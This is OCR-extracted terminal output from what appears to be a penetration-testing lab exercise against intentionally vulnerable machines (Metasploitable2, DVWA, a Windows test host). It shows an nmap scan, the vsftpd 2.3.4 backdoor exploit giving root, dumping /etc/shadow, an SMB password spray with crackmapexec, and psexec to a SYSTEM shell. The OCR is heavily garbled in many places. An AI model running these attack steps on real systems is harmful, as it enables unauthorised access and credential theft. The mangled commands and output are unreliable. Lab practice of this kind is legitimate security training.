wi-datagowaspbwa : /owaspbwa/dvwa-git/vulnerabilities/exec$ 1s ~la /var/wm
1s -la /var/wm
Truxruxrux 1 root root 30 Mar 21 2010 /var/ww —> /owaspbwa/owaspbwa-svn/var/wmi
wi~datagowaspbwa : /owaspbwa/dvwa-git/vulnerabilities/execs [l

mysql:x:103:105
landscape:x:104





image11.png
Ao D0 a00m|ac

3] Kali@Kali: ~ o
Session Actions Edit View Help

E(kalisuli)f["]

§ nmap sV -A -p- 192.168.227.129

starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 09:42 EDT
Nmap scan report for 192.168.227.129

Host is up (0.0011s latency).

Not shown: 65505 closed tcp ports (reset)

PORT STATE SERVICE  VERSION

21/tcp  open ftp vsftpd 2.3.4

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

I Fp-syst
| STAT:
| FTP server status:

1 Connected to 192.168.227.131
1 Logged in as ftp

| TYPE: ASCIT

1 No session bandwidth limit

|

|

|

|

Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
VSFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpensSSH 4.7p1 Debian ubuntul (protocol 2.0)
I ssh-hostkey:
| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:faick:d5:6cicd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:F3 (RSA)
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0C0SA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T1 5
|_Not valid after: 2010-04-16T1 5
| ssl-date: 2026-04-25T11:52:48+00:00; -2d01h52m10s from scanner time.
| sslv2:
SsLv2 supported
ciphers:
SSL2_RC4_128_WITH_MD5
S5L2_DES_64_CBC_WITH_MDS
SS5L2_RCA_128_EXPORT40_WITH_MDS
S5L2_RC2_128_CBC_EXPORT40_WITH_MDS
S5L2_RC2_128_CBC_WITH_MDS
_ SSL2_DES_192_EDE3_CBC_WITH_MDS
| _smtp-comnands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, SBITMIME, DSN

53/tcp  open domain IsC BIND 9.4.2

| dns-nsid:

|_ bind.version: 9.4.2

80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux

I http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
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Metasploit Documentation: https://docs.metasploit.con/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/ftp/vsftpd_234_backdoor

[+] No payload configured, defaulting to cmd/unix/interact

msf exploit(unin/fip/vsfind 234 backioor) > set RHOSTS 192.168.227.129
RHOSTS = 192.168.227.129

msf exploit(uni/ftp/vsftpd 234 backdoor) > set LHOST 192.168.227.131
[!] Unknown datastore option: LHOST. Did you mean RHOST?

LHOST = 192.168.227.131

nsf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[+] 192.168.227.129:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.227.129:21 - USER: 331 Please specify the password.

[+] 192.168.227.129:21 - Backdoor service has been spawned, handling ...
[+] 192.168.227.129:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[+] Command shell session 1 opened (192.168.227.131:40087 — 192.168.227.129:6200) at 2026-04-27 09:53:02 -0400

help

Meta shell commands

Command  Description

help Help menu

background Backgrounds the current shell session

sessions  Quickly switch to another session

resource  Run a meta commands script stored in a local file
shell Spawn an interactive shell (+NIX Only)

download  Download files

upload Upload files

source Run a shell script on remote machine (+NIX Only)
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session

-<command> Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)

For more info on a specific command, use <command> -h or help <command>.

shell

[*] Trying to find binary ‘python’ on the target machine
[*] Found python at /usr/bin/python

[*] Using “python® to pop up an interactive shell

[*] Trying to find binary 'bash’ on the target machine
[#] Found bash at /bin/bash
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help Help menu

kali@Kali -

background Backgrounds the current shell session
sessions  Quickly switch to another session

resource  Run a meta commands script stored in a local file
shell Spawn an interactive shell (+NIX Only)

download  Download files

upload Upload files

source Run a shell script on remote machine (+NIX Only)

irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session

.<command> Prefix any built-in command on this list with a

to execute in the underlying shell (ex: .help)

For more info on a specific command, use <command> -h or help <command>

shell

[*] Trying to find binary ‘python’ on the target machine

[+] Found python at /usr/bin/python

[+] Using “python® to pop up an interactive shell

[+] Trying to find binary 'bash’ on the target machine

[*] Found bash at /bin/bash

1s
1s

bin  dev initrd Tostsfound nohup.out
boot etc initrd.img media opt
cdrom home lib nnt proc
rootametasploitable:/# whoiam

whoian

bash: whoiam: command not found
rootametasploitable:/# whoani

whoami.
root

rootametasploitable: /i 1s

1s

bin  dev initrd Tostsfound nohup.out
boot etc initrd.img media opt
cdrom home lib mnt proc
rootametasploitable:/# id

id

uid=0(root) gid=0(root)
rootametasploitable:/# cat /etc/shadow | head -5
cat /etc/shadow | head -5

Toot:$1$/avpfBI1$x0zBuSUFOTv. /ORIEOLLd. :14747:0:99999:7 ¢

daemon

Sync:*:14684:0:99999:7
rootametasploitable:/# I|

ve the mouse pointer inside or press Ctrl+G.

root
sbin
srv

root
sbin
srv

sys

=3

sys

=3

var
wmlinuz

var
wmlinuz

bl o, ® 2 09| @

3
(]
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4 crackmapexec smb 192.168.227.132 -u users.txt -p password.txt —continue-on-success

SMB 192.168.227.132 445 WIN-RI@BLU6HPOO [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-RI@BLUGHPOO) (domain:WIN-RI@BLUGHPOO) (signing:False) (SMBv1:False)
SMB 192.168.227.132 445  WIN-RIOBLUGHPOO [+] WIN-RIOBLUGHPOO\Administrator:Admin@123 (Pun3d!

SHB 192.168.227.132 445  WIN-RIOBLUGHPOO | WIN-RIOBLUGHPOO\Administrator:adming123 STATUS_LOGON_FAILURE
SMB 192.168.227.132 445  WIN-RIOBLUGHPOO || WIN-RIOBLUGHPOO\Administrator:Admin STATUS_LOGON_FAILURE
SMB 192.168.227.132 445  WIN-RIOBLUBHPOO | WIN-RIOBLUGHPOO\Administrator: STATUS_LOGON_FAILURE

SHB 192.168.227.132 445  WIN-RIOBLUGHPOO | WIN-RIOBLUGHPOO\admin:Admin@123 STATUS_LOGON_FAILURE

SHB 192.168.227.132 445  WIN-RIOBLUGHPOO | WIN-RIOBLUGHPOO\admin:admin@123 STATUS_LOGON_FAILURE

SMB 192.168.227.132 445  WIN-RIOBLUGHPOO | | WIN-RIOBLUGHPOO\admin:Admin STATUS_LOGON_FAILURE

SMB 192.168.227.132 445  WIN-RIOBLUGHPOO | WIN-RIOBLUGHPOO\admin: STATUS_LOGON_FAILURE

SHB 192.168.227.132 445  WIN-RIOBLUGHPOO | WIN-RIOBLUGHPOO\Admin:Admin@123 STATUS_LOGON_FAILURE

SHB 192.168.227.132 445  WIN-RIOBLUGHPOO | WIN-RIOBLUGHPOO\Admin:admin@123 STATUS_LOGON_FAILURE

SMB 192.168.227.132 445  WIN-RIOBLU6HPOO | | WIN-RIOBLUGHPOO\Admin:Admin STATUS_LOGON_FAILURE

S8 192.168.227.132 445  WIN-RIOBLUGHPOO | | WIN-RIOBLUGHPOO\Admin: STATUS_LOGON_FAILURE

(kali® Kali)-[~]
Cs'n
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$ impacket-psexec abcd/Administrator:’Admind123'@192.168.227.132
Inpacket v0.13.0.devd - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.227.132.....
[*] Found writable share ADMIN$
[+] Uploading file pccfTXvx.exe
[+*] Opening SVCManager on 192.168.227.132
[+] Creating service miCf on 192.168.227.132.
[+] Starting service miCf.
[1] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. ALl rights reserved.

C:\Windows\systen32> whoani
nt authority\system

C:\Windows\systen32> |
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